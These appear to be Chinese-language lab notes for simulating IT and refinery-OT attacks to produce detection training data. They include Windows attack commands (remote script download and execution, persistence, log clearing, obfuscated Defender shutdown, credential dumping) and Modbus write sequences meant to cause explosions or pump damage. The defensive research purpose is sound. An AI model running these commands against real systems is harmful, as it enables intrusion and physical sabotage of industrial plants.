## 基本資訊
### 通訊協定弱點
**沒有加密 (Encryption)**
* 資料傳輸是「明文 」的
* 例如:HMI 向 PLC 發送指令「把暫存器 40001 設成 1234」→ 這個封包在網路上就是清清楚楚的 1234
* 攻擊者只要能 sniff 網路,就能讀懂封包內容,甚至複製/竄改
**沒有驗證 (Authentication)**
* 協定不會問「你是誰」「你有權限嗎」。
* 任何能連上 PLC 的人,只要用正確格式封包,就能下指令。
* 舉例:攻擊者可以直接對 PLC 下「寫入暫存器」的命令,不需要帳號密碼。
### 使用nmap掃描開放端口
> 特別針對 Telnet (23 和 2323) 、SSH (22)、 HTTP(S) ( 80, 81, 8080, 443)
> 其他工控協定如 Modbus、SNMP 、 S7comm
```
nmap -p 502 --script modbus-discover <目標IP>
nmap -p 502 --script modbus-discover.nse <target_IP>
```
* 列出目標 PLC 是否支援 Modbus,以及一些暫存器的資訊
### Modbus 工具
常用工具 : mbtget、modpoll、pymodbus
#### **1. mbtget**
#### **2. modpoll**
```
modpoll -m tcp -t 3 -r 1 -c 5 192.168.1.10
```
• -m tcp → 使用 Modbus TCP
• -t 3 → Input Register 類型
• -r 1 → 起始暫存器位址 = 1
• -c 5 → 讀取 5 筆
• 192.168.1.10 → PLC 的 IP
#### **3. pymodbus**
### 煉油廠分散式 PLC 架構清單
靠 Unit ID → 縮小到某台 PLC
靠 Table → 確定是「感測器」還是「控制」
靠 Address → 精準找到是哪個點位(例如 00001、30001)
> S7comm 沒有像 Modbus 的 Unit ID 這種「一個 IP 多台裝置」慣例;若要 S7 也切 4 台,較乾淨的做法仍是多開實例或用不同 IP/Port。以下配置以 Modbus 為核心。
#### 1. 加熱爐 PLC - Unit ID 1
• 00001 → 燃燒器控制開關(Coil)
• 30001 → 爐膛溫度感測器(Input Register, °C)
#### 2. 常壓蒸餾塔 PLC - Unit ID 2
• 30001 → 壓力感測器(kPa)
• 00001 → 出料泵浦啟停 (Coil)
#### 3. 真空蒸餾塔 PLC - Unit ID 3
• 00001 → 真空系統啟停 (Coil)
• 30001 → 冷凝器出口溫度 (Input Register, °C)
### 攻擊前需要知道的資訊
* Slave ID(Unit ID):代表是哪一台 PLC
> 用 nmap 的 modbus-discover 腳本 搜
* 功能表 / 資料表(Function Code 類型):是讀取 Coils、Input Register 還是寫入 Holding Register?
> 01 (Read Coils) → 讀 Coils(1-bit 可讀可寫)
02 (Read Discrete Inputs) → 讀離散輸入(1-bit,只讀)
03 (Read Holding Registers) → 讀 Holding Registers(16-bit,可讀寫)
04 (Read Input Registers) → 讀 Input Registers(16-bit,只讀)
05 (Write Single Coil) → 寫入單一 Coil
06 (Write Single Holding Register) → 寫入單一 Holding Register
15 (Write Multiple Coils) → 寫入多個 Coils
* 具體位址(Address / Register Number):確切指向哪個子設備(像出料泵、壓力感測器等)
> 找出哪個地址有回應後使用工具(如 Modbus Poll 或 modpoll)試不同 Function Code 與位址組合,直到定位目標設備
### pymodbus
針對指定 Slave (unit ID)依序抓取不同 Function Code 與地址區段的功能,並把所有讀到的資料儲存到本地上下文,適合做整裝 Scan 器或模擬資料蒐集器用途 [Modbus Scraper Example](https://pymodbus-n.readthedocs.io/en/v1.3.2/examples/modbus-scraper.html?utm_source=chatgpt.com)
[工具](https://www.icdt.com.tw/main/index.php?=2018)
## IT ATTACK
### 攻擊鏈一
1. **Initial Access**
使用 USB 插入實現入侵
1. **Execution**
透過 USB 的 AutoRun/BadUSB 行為觸發程式執行
> USB AutoRun : 插入 USB 且開啟磁碟時就可能自動執行惡意程式
> BadUSB : 將普通 USB 設備偽裝成鍵盤、滑鼠或網卡等,一插入就可模擬輸入鍵擊、執行命令
3. **Persistence**
利用 Windows Service 或註冊表機制保持惡意程式重啟
* **註冊表**
將惡意程式的執行路徑加入 Windows 註冊表中的特定「Run」鍵,讓它在使用者登入或開機時自動執行
> 示範指令 : `reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MyMalware /t REG_SZ /d "C:\YourPath\malware.exe"`
* **Windows Service**
在系統啟動時自動運行惡意程式,並且以 SYSTEM 權限處理
> 示範指令 : `sc create BadService binPath= "C:\payload\malware.exe" start= auto`
建立名為 BadService 的服務
啟動時自動執行 malware.exe
執行權限為 SYSTEM
4. **Privilege Escalation**
利用 UAC Bypass
本機屬於系統管理員群組、且啟用 Admin Approval Mode的情境下,避開同意/輸入密碼的提示,讓指定程式直接以高權限執行
* 手法一 : Fodhelper Auto-Elevate 繞過
5. **Defense Evasion**
隱藏程序或關閉防毒掃描工具
6. **Credential Access**
使用 Mimikatz 類工具提取密碼
7. **Discovery**
使用 PowerShell、WMI 探索網段與主機
8. **Lateral Movement**
使用 SMB、WMI 或 Pass-the-Hash 等技術進行橫向擴散
### 攻擊鏈二
1. **Initial Access**
檢測公開伺服器漏洞,可以檔案上傳web shell
1. **Execution**
利用漏洞執行 remote payload
1. **Persistence**
建立惡意 PowerShell registry Run key
1. **Privilege Escalation**
採用 Token Stealing 或 Service Manipulation 提權
1. **Defense Evasion**
利用 Rootkit 隱蔽檢測,偽裝成合法系統進程
1. **Credential Access**
使用 lsass Dump 或網路封包攔截取得憑證
1. **Discovery**
使用 Net用戶查詢 AD 結構與信任關係
1. **Lateral Movement**
向其他伺服器傳播,可能使用 PsExec
### 各階段攻擊行為
#### 1.Reconnaissance
* 利用Nmap掃描內網設備與IP範圍
* 其他公開資訊這邊無法紀錄
```
nmap -sP 192.168.1.0/24
nmap -p 80,443,22 192.168.1.0/24
```
#### 2. Initial Access
* 釣魚攻擊(誤點連結)
* Web Server 被上傳惡意檔案
* SQL注入
* 插入USB硬體設備
* VPN 暴力破解這9個
```
# 使用 Hydra 進行 VPN 密碼暴力破解
hydra -l user -P /path/to/passwords.txt vpn.target.com vpn
```
#### 3. Execution
* 利用PowerShell執行下載並執行惡意腳本
* 透過CMD執行系統指令
* 利用 bat批次檔對系統進行批量破壞或設定修改
```
# 使用PowerShell執行下載並執行惡意腳本
Invoke-WebRequest -Uri "http://malicious-site.com/malware.ps1" -OutFile "malware.ps1"
powershell -ExecutionPolicy Bypass -File malware.ps1
```
```
# 使用CMD執行系統指令來控制系統
cmd.exe /C "shutdown /r /f"
```
#### 4. Persistence
* 建立排程任務(Windows Task Scheduler) 設定在系統重啟後自動執行惡意腳本
* windows註冊表修改以開機啟動
```
# cmd設定Windows Task Scheduler使惡意腳本持久執行
schtasks /create /tn "Malicious Task" /tr "powershell -ExecutionPolicy Bypass -File malware.ps1" /sc onstart /ru SYSTEM
```
```
# cmd修改註冊表使得惡意程式自動啟動
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MaliciousApp" /t REG_SZ /d "C:\path\to\malware.exe" /f
```
#### 5. Privilege Escalation
* 利用公開的本地漏洞工具或弱密碼字典對本地管理員帳戶執行爆破
```
# 使用John the Ripper進行本地管理員密碼爆破
john --wordlist=/path/to/wordlist.txt --format=NT hashes.txt
```
#### 6. Defense Evasion
* 使用PowerShell清除Windows事件日誌以隱藏攻擊痕跡
* 混淆PowerShell指令執行惡意程式,避免傳統簽名偵測
* 關閉防毒軟體或安全服務
```
# powershell 清除事件日誌以隱藏攻擊痕跡
wevtutil cl Security
wevtutil cl Application
```
```
# 混淆PowerShell指令 wevtutil cl Security
$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("d2V2dHV0aWwgY2wgQXBwbGljYXRpb24="))
Invoke-Expression $decoded
```
```
# bash 停止防毒軟體服務
net stop "Windows Defender Antivirus Service"
```
[gpt](https://chatgpt.com/share/68c0c822-5e94-8007-84a0-8844acc6e932)
混淆
#### 7. Credential Access
* 執行模擬Mimikatz,擷取記憶體中使用者密碼
* ARP spoofing攔截內部憑證
```
# 使用Mimikatz擷取記憶體中的密碼
Invoke-Mimikatz -Command "sekurlsa::logonPasswords"
```
```
# 使用ARP spoofing攔截內部網路的憑證
arpspoof -i eth0 -t 192.168.1.1 192.168.1.2
```
#### 8. Discovery
* 執行netstat、arp、ipconfig或Nmap掃描內部網段
* 執行systeminfo、whoami、net user等命令蒐集系統資訊
```
# 掃描內部網段
netstat -an
ipconfig /all
nmap -sP 192.168.1.0/24
```
```
# 收集系統資訊
systeminfo
whoami
net user
```
```
# cmd
whoami /all & rem 使用者/權杖/群組/權限
query user & rem 目前登入的交談
klist & rem Kerberos 票證清單(不含密碼)
cmdkey /list & rem 已儲存的憑證條目(只列名,不顯示密碼)
```
```
# powershell
whoami /all
klist
cmdkey /list
```
#### 9. Lateral Movement
* 利用RDP、SSH等嘗試遠端連線
```
# 嘗試使用RDP遠端登錄
mstsc /v:192.168.1.10
```
```
# 使用SSH遠端登錄
ssh user@192.168.1.10
```
### 工具
[atomic red team](https://github.com/redcanaryco/atomic-red-team)
### 腳本
```
@echo off
echo === Step 1: cmd : nmap ===
cmd /c nmap -sP 192.168.1.24
echo.
echo === Step 2: PowerShell : download file ===
powershell -Command "Invoke-WebRequest -Uri "https://github.com/BBrain778/MP3_To_Text/blob/main/requirements.txt" -OutFile "malware.ps1""
echo.
echo === Step 3: PowerShell : execute the download file ===
:: 底下這個是測試用打開小算盤
powershell -Command "powershell -ExecutionPolicy Bypass -Command Start-Process calc.exe"
echo.
echo === Step 4-1: cmd : create schedule task ===
cmd /c schtasks /create /tn "Malicious Task" /tr "powershell -ExecutionPolicy Bypass -File malware.ps1" /sc onstart /ru SYSTEM
echo.
echo === Step 4-2: cmd : Registry add --> execute automaticaly when turning on ===
cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MyMalware /t REG_SZ /d "C:\YourPath\malware.exe"
echo.
echo === Step 4-3: cmd : create service --> execute automaticaly when turning on ===
cmd /c sc create BadService binPath= "C:\payload\malware.exe" start= auto
echo.
echo === Step 4-4: cmd : create Directory --> execute automaticaly when turning on ===
cmd /c copy malware.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
echo.
echo === Step 5-1: PowerShell : clear windows logs ===
:: 清空「安全性事件日誌」 powershell -Command "wevtutil cl Security"
:: 底下這個是個測試用的日誌
powershell -Command "wevtutil cl FakeLog"
echo.
echo === Step 5-2: PowerShell : turn off defender ===
powershell -Command "net stop 'WinDefend'"
echo.
echo === Step 5-3: PowerShell : Obfuscating PowerShell wevtutil cl Security ===
powershell -Command "$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('d2V2dHV0aWwgY2wgQXBwbGljYXRpb24=')); Invoke-Expression $decoded"
echo.
echo === Step 5-4: PowerShell : Obfuscating PowerShell turn off defender ===
powershell -Command "$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('bmV0IHN0b3AgIldpbkRlZmVuZCI=')); Invoke-Expression $decoded"
echo.
echo === Step 6-1: cmd : discovery information ===
cmd /c systeminfo
echo.
echo === Step 6-2: cmd : discovery information ===
cmd /c whoami /all & rem 使用者/權杖/群組/權限
echo.
echo === Step 6-3: cmd : discovery information ===
cmd /c net user
echo.
echo === Step 6-4: cmd : discovery information ===
cmd /c query user & rem 目前登入的交談
echo.
echo === Step 6-5: cmd : discovery information ===
cmd /c klist & rem Kerberos 票證清單(不含密碼)
echo.
echo === Step 6-6: cmd : discovery information ===
cmd /c cmdkey /list & rem 已儲存的憑證條目(只列名,不顯示密碼)
echo.
echo === Step 6-7: PowerShell : discovery information ===
powershell -Command "whoami /all"
echo.
echo === Step 6-8: PowerShell : discovery information ===
powershell -Command "klist"
echo.
echo === Step 6-9: PowerShell : discovery information ===
powershell -Command "cmdkey /list"
echo.
echo === Step 6-10: cmd : discovery information ===
cmd /c netstat -an
echo.
echo === Step 6-11: cmd : List C drive folders ===
cmd /c dir C:\ /b /ad
echo.
echo === Step 6-12: cmd : cmd /c wmic product get name,version ===
cmd /c wmic product get name,version
echo.
echo === Step 6-13: cmd : User effective group principle ===
cmd /c gpresult /r /scope user
echo.
echo === Step 6-14: list domain ===
cmd /c nltest /dclist:domain.local
echo.
echo === Step 7-1: cmd : ssh connect to other machine ===
cmd /c ssh user@192.168.1.10
echo.
@echo off
echo === Step 7-2: cmd : windows RDP to other machine ===
cmd /c mstsc /v:192.168.1.100:3390
echo.
echo === all finish ===
pause
```
## IT 訓練資料
使用時間序列模型(如LSTM、ARIMA)和關聯規則引擎,分析事件序列是否符合攻擊流程模板
訓練資料格式在用於時間序列分析及多階段攻擊識別時,需同時具備「事件時間序列資訊」和「行為標籤」,方便模型學習行為順序與關聯。以下是具體且實用的資料格式範例,以及欄位說明。
### 訓練資料格式設計
| 欄位名稱 | 欄位說明 | 範例數據 |
|----------------|------------------------------------------------|---------------------------|
| event_id | 唯一事件識別號 | 10001 |
| timestamp | 事件發生時間(精確到毫秒) | 2025-08-27T23:00:05.123Z |
| source_ip | 來源IP | 192.168.1.100 |
| dest_ip | 目標IP | 192.168.1.102 |
| user | 系統使用者或帳號 | admin |
| event_type | 事件類型(例如:process_start、file_access、network_connection) | process_start |
| event_description | 更詳細的事件描述 | PowerShell執行異常指令 |
| event_features | 事件特徵向量欄位(如API呼叫碼、資源類型、權限等) | [0.3,0.9,0.1,0.0,0.7] |
| stage_label | 事件所屬攻擊階段標籤(如initial_access、execution、normal) | initial_access |
| attack_label | 整段序列是否屬於攻擊的二元標籤(0=正常,1=攻擊) | 1 |
| sequence_id | 連續事件序列ID,標示整個攻擊流程或正常流程的事件串 | seq_initialaccess_usb_0001 |
## OT ATTACK
[資料](https://www.notion.so/256eac1784ec80e391a2e352f134d7ff?source=copy_link)
### 攻擊鏈一 : 乾轉 + 過熱
• 步驟 1:原油槽液位被降低(CrudeOil_Level ↓)
• 步驟 2:原油泵仍持續啟動(CrudeOil_Pump_StartStop = TRUE)
• 步驟 3:導致預熱器溫度開始異常升高(Preheater_Temperature ↑)
→ 結果:泵在無料下空轉、摩擦加熱,可能引發火災或泵損毀。
```
mbtget -w6 500 -a 3 -d 127.0.0.1 -p 40001
mbtget -w1 1 -a 1 -d 127.0.0.1 -p %QX0.0
```
> -a 3:指定這是保持寄存器 (Holding Register)
> -a 1:指定這是線圈 (Coil)
> -w6:寫入 REAL 類型的數據
> -w1:寫入單一位元組數據(布林型態,0 或 1)
### 攻擊鏈二 : 過壓爆塔
• 步驟 1:加熱器出口溫度提高(Heater_Temperature ↑)
• 步驟 2:大氣塔液位過高(Atmosphere_Column_Level ↑)
• 步驟 3:大氣塔頂壓力持續升高(Atmosphere_Column_Top_Pressure ↑ )
• 步驟 4:警報被壓制 (High_Pressure_Alarm = FALSE)
→ 結果:壓力無法釋放,可能導致塔頂爆炸。
```
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40011
mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40017
mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40019
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX1.4
```
### 攻擊鏈三 : 真空失效
• 步驟 1:真空泵被關閉或失靈(Vacuum_Column_Pump_StartStop = FALSE / Vacuum_Pump_Control ↓)
• 步驟 2:真空塔壓力上升(Vacuum_Column_VacuumPressure ↑ → 真空度下降)
• 步驟 3:真空塔溫度升高(Vacuum_Column_Temperature ↑)
→ 結果:分餾失效、設備熱應力增加,甚至塔內物料劣化。
```
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.1
mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40073
mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40021
```
### 攻擊鏈四 : 液化石油氣
• 步驟 1:液化石油氣液位逐漸上升(LPG_Level ↑)
• 步驟 2:液化石油氣泵被停止(LPG_Pump_StartStop = FALSE)
• 步驟 3:液化石油氣重量持續增加(LPG_Weight ↑)
→ 結果:儲槽壓力積聚 → 可能爆炸。
```
mbtget -w6 50.0 -a 3 -d 127.0.0.1 -p 40025
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.2
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40027
```
### 攻擊鏈五 : 分餾偏差
• 步驟 1:加熱器功率控制異常(Heater_Power_Control ↑)
• 步驟 2:大氣塔溫度過高(Atmosphere_Column_Temperature ↑)
• 步驟 3:產品槽液位出現不符合質量平衡的變化(如 Gasoline_Level ↑,但 Naphtha_Level ↓ 異常)
→ 結果:分餾品質偏差,產出錯誤比例的成品油,操作員誤判工況。
```
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40063
mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40015
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40033
mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40029
```
### 攻擊鏈六 : 加熱器過載
• 步驟 1:Heater_Power_Control → 被惡意調高
• 步驟 2:Heater_Temperature → 上升接近 Temp_HighLimit
• 步驟 3:Heater_Pressure → 上升 ↑
• 步驟 4:High_Pressure_Alarm → 沒響
→ 結果:加熱器同時出現高溫與高壓,可能失控爆炸。
```
mbtget -w6 200.0 -a 3 -d 127.0.0.1 -p 40063
mbtget -w6 340.0 -a 3 -d 127.0.0.1 -p 40011
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40013
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX1.4
```
### 攻擊鏈七 : 質量流失 / 液位/重量不符
目的: 利用液位和重量不符,對系統進行操作,造成流程異常
• 步驟 1:石油腦液位過低(Naphtha_Level ↓)
• 步驟 2:石油腦重量增加(Naphtha_Weight ↑)
• 步驟 3:石油腦泵未啟動(Naphtha_Pump_StartStop = FALSE)
→ 結果:泵未啟動,儲罐溢出或流動錯誤,造成質量流失或設備過載
```
mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40029
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40031
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.3
```
### 攻擊鏈八 : 油品錯誤/過量分餾
目的: 操作液位和溫度不當,導致油品過量分餾。
• 步驟 1:汽油液位設置過高(Gasoline_Level ↑)
• 步驟 2:大氣塔液位上升(Atmosphere_Column_Level ↑)
• 步驟 3:大氣塔頂壓力未調整(Atmosphere_Column_Top_Pressure = 固定或過高)
• 步驟 4:泵未啟動(Gasoline_Pump_StartStop = FALSE)
→ 結果:油品過度分餾,造成分餾塔效能下降,甚至設備損壞
```
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40033
mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40017
mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40019
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.4
```
### 攻擊鏈九 : 逆流處理 / 泵被強制停止
目的: 利用設備狀況進行逆流操作,強制停止泵,造成系統阻塞或污染。
• 步驟 1:煤油泵被強制停止(Kerosene_Pump_StartStop = FALSE)
• 步驟 2:煤油液位設定為過高(Kerosene_Level ↑)
• 步驟 3:煤油重量不匹配(Kerosene_Weight ↑)
→ 結果:油品逆流或泵損壞,造成處理過程中的污染或損失
```
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.6
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40041
mbtget -w6 50.0 -a 3 -d 127.0.0.1 -p 40043
```
### 攻擊鏈十 : 重油反應堆過熱
目的: 通過控制加熱器溫度、重油液位和重量,達成過熱的效果
• 步驟 1:重油液位設置過高(HeavyOil_Level ↑)
• 步驟 2:加熱器溫度過高(Heater_Temperature ↑)
• 步驟 3:重油泵運行時過載(HeavyOil_Pump_StartStop = TRUE)
→ 結果:重油過度加熱,泵可能過載,可能導致系統過熱或火災
```
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40057
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40011
mbtget -w1 1 -a 1 -d 127.0.0.1 -p %QX1.2
```
### 攻擊
```
mbtget -d -r3 -a 40001 -n 37 -f -u 1 -p 5020 100.124.205.73
```
## 提問
1.攻擊順序都一定是依照1-8嗎?
| 項目 | 具體調整作法 | 原因與說明 |
|----------------|--------------------------------------------------|------------------------------------------------------------|
| 1. 支持非線性流程 | 訓練資料允許不完全或跳階段序列標註,如[1 → 3 → 5 → 8]、[2 → 4 → 6]等多樣順序 | 攻擊多樣化,固定流程假設限制模型泛化能力,必須讓模型學習非完整序列 |
| 2. 多重路徑學習 | 利用圖結構或序列模型加強不同攻擊路徑學習,非單純線性LSTM,可用Graph Neural Network (GNN)等 | 攻擊流程相當於有向圖,多路徑攻擊需多路徑識別能力 |
| 3. 分段或子序列偵測 | 模型可偵測任意有意義子序列,針對局部階段行為給出中間判斷和信心分數 | 提早偵測攻擊跡象,不依賴完整序列,提高防禦反應時間 |
| 4. 標註多標籤且多順序 | 訓練數據中增加多樣化序列組合標籤,並用多標籤分類方式,不強制序列完整性 | 幫助模型識別不完整但惡意的行為模式,強化泛化能力 |
| 5. 加權序列階段重要度 | 透過注意力機制(attention)對不同階段賦予不同重要度,模型自動學習不同階段影響力 | 某些階段必須出現(關鍵節點),某些可跳過,模型動態分配判斷權重 |
| 6. 搭配規則引擎強化判斷 | 設計彈性的規則引擎配合模型輸出,確保可識別各種攻擊流程及關鍵事件組合 | 規則引擎可補足模型短板,提高整體系統的靈活性與偵測覆蓋面 |
| 7. 模型設計使用序列分段學習 | 採用更靈活的序列模型,如Transformer Encoder,支持非連續事件及跳躍序列模式 | 增加模型對序列異常跳躍的適應力,允許大範圍時間間隔和跳過事件的識別 |
| 8. 弱監督或半監督學習 | 若無法完全標註,使用弱監督或半監督策略,挖掘潛在變異攻擊行為,提高模型泛化 | 避免硬性標籤限制,增強對未知或變異攻擊行為的識別能力 |
## wazuh agent
1.從官方下載最新 MSI [安裝檔](https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html)
2.把檔案放到固定路徑,例如:
```
C:\Temp\wazuh-agent-4.12.0-1.msi
```
3.執行安裝
在「系統管理員 CMD」裡輸入:
```
msiexec /i "C:\Temp\wazuh-agent-4.12.0-1.msi" /qn WAZUH_MANAGER="192.168.6.232" /l*v C:\wazuh_install.log
```
安裝成功後會在:`C:\Program Files (x86)\ossec-agent\`
4.啟動服務
```
net start Wazuh
```
可以查狀態:
```
sc query WazuhSvc
```
停止服務
```
net stop Wazuh
```